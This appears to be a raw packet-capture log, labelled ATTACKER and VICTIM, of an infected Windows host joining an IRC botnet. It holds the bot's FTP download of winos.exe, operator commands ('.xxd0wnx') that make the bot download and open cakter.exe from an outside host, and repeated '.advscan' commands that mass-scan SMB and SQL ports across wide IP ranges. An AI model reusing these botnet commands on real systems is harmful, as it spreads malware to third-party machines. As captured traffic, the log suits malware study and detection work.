ATTACKER: 220 StnyFtpd 0wns j0 VICTIM: USER 1 ATTACKER: 331 Password required VICTIM: PASS 1 ATTACKER: 230 User logged in. VICTIM: PORT 192,168,1,250,4 ATTACKER: 200 PORT command successful. ATTACKER: RETR winos.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye happy r00ting. VICTIM: NICK USA|XP|SP0|00|78956USER tkhzcei 0 0 :USA|XP|SP0|00|78956 ATTACKER: :hex.hex.hex NOTICE AUTH :*** Looking up your hostname... ATTACKER: :hex.hex.hex NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead:hex.hex.hex 001 USA|XP|SP0|00|78956 :hex.hex.hex 002 USA|XP|SP0|00|78956 : M0dded by uNkn0wn Crew :hex.hex.hex 003 USA|XP|SP0|00|78956 :hex.hex.hex 004 USA|XP|SP0|00|78956 : www.uNkn0wn.eu - iD@uNkn0wn.eu :hex.hex.hex 005 USA|XP|SP0|00|78956 :hex.hex.hex 005 USA|XP|SP0|00|78956 :hex.hex.hex 005 USA|XP|SP0|00|78956 :hex.hex.hex 422 USA|XP|SP0|00|78956 :MOTD File is missing:USA|XP|SP0|00|78956 MODE USA|XP|SP0|00|78956 :+i VICTIM: USERHOST USA|XP|SP0|00|78956 ATTACKER: :hex.hex.hex 302 USA|XP|SP0|00|78956 :USA|XP|SP0|00|78956=+tkhzcei@192.168.1.250 VICTIM: MODE USA|XP|SP0|00|78956 -x+iJOIN #drhackers1# USERHOST USA|XP|SP0|00|78956MODE USA|XP|SP0|00|78956 -x+iJOIN #drhackers1# USERHOST USA|XP|SP0|00|78956MODE USA|XP|SP0|00|78956 -x+iJOIN #drhackers1# USERHOST USA|XP|SP0|00|78956MODE USA|XP|SP0|00|78956 -x+iJOIN #drhackers1# ATTACKER: :USA|XP|SP0|00|78956!tkhzcei@192.168.1.250 JOIN :#drhackers1#:hex.hex.hex 332 USA|XP|SP0|00|78956 #drhackers1# :.advscan asn445 100 5 0 -r -b:hex.hex.hex 333 USA|XP|SP0|00|78956 #drhackers1# Stop 1287773307:hex.hex.hex 302 USA|XP|SP0|00|78956 :USA|XP|SP0|00|78956=+tkhzcei@192.168.1.250 :hex.hex.hex 302 USA|XP|SP0|00|78956 :USA|XP|SP0|00|78956=+tkhzcei@192.168.1.250 VICTIM: PRIVMSG #drhackers1# :-SCAN- Random Port Scan started on 10.2.x.x:445 with a delay of 5 seconds for 0 minutes using 100 threads. ATTACKER: :hex.hex.hex 302 USA|XP|SP0|00|78956 :USA|XP|SP0|00|78956=+tkhzcei@192.168.1.250 ATTACKER: :hex.hex.hex 404 USA|XP|SP0|00|78956 #drhackers1# :You must have a registered nick (+r) to talk on this channel (#drhackers1#) ATTACKER: :Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.login xtest -s ATTACKER: :Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.xxd0wnx http:/attacke.100free.com/cakter.exe c:\\cakter.exe 1 VICTIM: PRIVMSG #drhackers1# :-\0034\002dr-hackers!\002\003- Downloading URL: http:/attacke.100free.com/cakter.exe to: c:\\cakter.exe. ATTACKER: :hex.hex.hex 404 USA|XP|SP0|00|78956 #drhackers1# :You must have a registered nick (+r) to talk on this channel (#drhackers1#) VICTIM: GET /cakter.exe HTTP/1.0User-Agent: Mozilla/4.0 (compatible)Host: attacke.100free.com VICTIM: PRIVMSG #drhackers1# :-\0034\002download\002\003- downloaded 143.5 KB to c:\\cakter.exe @ 47.8 KB/sec ATTACKER: :hex.hex.hex 404 USA|XP|SP0|00|78956 #drhackers1# :You must have a registered nick (+r) to talk on this channel (#drhackers1#) VICTIM: PRIVMSG #drhackers1# :-\0034\002download\002\003- opened c:\\cakter.exe ATTACKER: :hex.hex.hex 404 USA|XP|SP0|00|78956 #drhackers1# :You must have a registered nick (+r) to talk on this channel (#drhackers1#) ATTACKER: NICK [USA]XP-SP0[00]9487USER hsupo 0 0 :\00315\213\0034\267\00301\002l\002a\00304\002m\002\00301e\002r\002\0034\267\00315\233 ATTACKER: :s11.cpe.netcabo.uk NOTICE AUTH :*** Looking up your hostname... ATTACKER: :s11.cpe.netcabo.uk NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead:s11.cpe.netcabo.uk 001 [USA]XP-SP0[00]9487 :s11.cpe.netcabo.uk 002 [USA]XP-SP0[00]9487 :s11.cpe.netcabo.uk 003 [USA]XP-SP0[00]9487 :s11.cpe.netcabo.uk 004 [USA]XP-SP0[00]9487 :s11.cpe.netcabo.uk 005 [USA]XP-SP0[00]9487 :s11.cpe.netcabo.uk 005 [USA]XP-SP0[00]9487 :s11.cpe.netcabo.uk 005 [USA]XP-SP0[00]9487 :s11.cpe.netcabo.uk 422 [USA]XP-SP0[00]9487 :MOTD File is missing:[USA]XP-SP0[00]9487 MODE [USA]XP-SP0[00]9487 :+iwRG VICTIM: USERHOST [USA]XP-SP0[00]9487 ATTACKER: :s11.cpe.netcabo.uk 302 [USA]XP-SP0[00]9487 :[USA]XP-SP0[00]9487=+hsupo@192.168.1.250 VICTIM: MODE [USA]XP-SP0[00]9487 -x+iJOIN #l# lamUSERHOST [USA]XP-SP0[00]9487MODE [USA]XP-SP0[00]9487 -x+iJOIN #l# lamUSERHOST [USA]XP-SP0[00]9487MODE [USA]XP-SP0[00]9487 -x+iJOIN #l# lamUSERHOST [USA]XP-SP0[00]9487MODE [USA]XP-SP0[00]9487 -x+iJOIN #l# lam ATTACKER: :[USA]XP-SP0[00]9487!hsupo@192.168.1.250 JOIN :#l#:s11.cpe.netcabo.uk 332 [USA]XP-SP0[00]9487 #l# :.advscan asn445 100 5 0 -r -b:s11.cpe.netcabo.uk 333 [USA]XP-SP0[00]9487 #l# stop 1287773719:s11.cpe.netcabo.uk 302 [USA]XP-SP0[00]9487 :[USA]XP-SP0[00]9487=+hsupo@192.168.1.250 :s11.cpe.netcabo.uk 302 [USA]XP-SP0[00]9487 :[USA]XP-SP0[00]9487=+hsupo@192.168.1.250 VICTIM: PRIVMSG #l# :\002\00315,0[\002\00304\221\00301\002S\002ca\002n\002\00304,\00314:\0034 Random \0031\002P\002ort \002S\002can \002S\002tarted on\0034 10.2.x.x:445 \0031\002W\002ith a \002D\002elay of\0034 5 \0031\002S\002econds \002F\002or\0034 0 \0031\002M\002inutes \002U\002sing\0034 100 \0031\002T\002hreads. ATTACKER: :s11.cpe.netcabo.uk 302 [USA]XP-SP0[00]9487 :[USA]XP-SP0[00]9487=+hsupo@192.168.1.250 ATTACKER: :s11.cpe.netcabo.uk 404 [USA]XP-SP0[00]9487 #l# :Color is not permitted in this channel (#l#) ATTACKER: :Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.xxd0wnx http:/attacke.100free.com/cakter.exe c:\\cakter.exe 1 VICTIM: PRIVMSG #drhackers1# :-\0034\002download\002\003- downloaded 143.5 KB to c:\\cakter.exe @ 143.5 KB/sec ATTACKER: :hex.hex.hex 404 USA|XP|SP0|00|78956 #drhackers1# :You must have a registered nick (+r) to talk on this channel (#drhackers1#) VICTIM: PRIVMSG #drhackers1# :-\0034\002dr-hackers!\002\003- Downloading URL: http:/attacke.100free.com/cakter.exe to: c:\\cakter.exe.PRIVMSG #drhackers1# :-\0034\002download\002\003- opened c:\\cakter.exe ATTACKER: :hex.hex.hex 404 USA|XP|SP0|00|78956 #drhackers1# :You must have a registered nick (+r) to talk on this channel (#drhackers1#):hex.hex.hex 404 USA|XP|SP0|00|78956 #drhackers1# :You must have a registered nick (+r) to talk on this channel (#drhackers1#) ATTACKER: PING :s11.cpe.netcabo.uk ATTACKER: PONG :s11.cpe.netcabo.uk VICTIM: JOIN #l# lam ATTACKER: :Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.login xtest -s ATTACKER: :Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan sql2 10 10 0 190.9.x.x -r -s ATTACKER: :Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan sql2 10 10 0 190.3.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 190.24.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 190.26.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 189.140.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 190.92.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 189.171.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 189.155.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 189.156.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 190.80.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 190.50.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 189.231.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 189.164.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 190.87.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 190.159.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 190.40.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 190.74.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 ATTACKER: 5 5 190.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 189.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 100.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 101.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 102.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 103.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 104.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 105.x.x.x -r -s ATTACKER: :Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 106.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 107.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 108.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 109.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 110.x.x.x -r -s:Stop!L0VERS@staff.net PRIVMSG #drhackers1# :.advscan asn445 5 5 5 111.x.x.x -r -s ATTACKER: PONG :hex.hex.hex VICTIM: JOIN #drhackers1#